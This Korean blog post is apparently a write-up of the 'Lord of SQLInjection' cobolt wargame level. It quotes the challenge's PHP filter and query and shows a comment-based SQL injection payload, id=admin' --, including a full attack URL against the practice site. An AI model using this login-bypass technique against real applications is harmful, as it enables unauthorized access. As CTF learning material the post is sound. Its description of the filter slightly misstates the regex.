LOS Level 02번 문제를 풀어보자.
풀이 과정
1. $_GET[id] 와 $_GET[pw] 를 통해 id와 pw를 사용자 입력값으로 받고 있다.
2. preg_match() 함수는 $_GET[id]와 $_GET[pw]로부터 입력받은 값에서 'prob', '_', '.', '\' 값이 있을 시 No Hack~_~ 화면으로 넘어가게 된다. 그러므로 필터링되는 값을 우회해서 공격해야 한다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
3. 다음 문장은 입력받은 id와 pw를 값을 찾아서 $query 변수에 저장하는 쿼리문이다.
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
4. 값을 찾은 쿼리문을 출력하고,$result['id']가 admin 일 때 문제를 풀 수 있다. id가 admin이 아닐 시에는 You are not admin :(을 출력한다. → id를 admin으로, pw 부분은 주석처리 해주자.
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
풀이
값을 넣을 때는 URL 끝에 ?id = 값&pw=값 이런 식으로 넣어주면 된다.
id를 사용자 입력값으로 받으므로, admin을 넣어준다.
쿼리문을 select id from prob_cobolt where id='admin' -- ' and pw=md5('') 이렇게 해준다.
where id='admin'으로 넣어주고, 뒷 부분(pw)은 -- 주석처리를 해줌으로써 id가 admin이 되므로 문제가 풀리게 된다.
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin' --%20 |
답
COBOLT Clear!가 뜨게 된다.

문제 풀이 사이트
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] Level04 write-up (0) | 2021.10.14 |
---|---|
[Lord of SQLInjection] Level03 write-up (0) | 2021.10.14 |
[Lord of SQLInjection] Level01 write-up (0) | 2021.10.14 |
댓글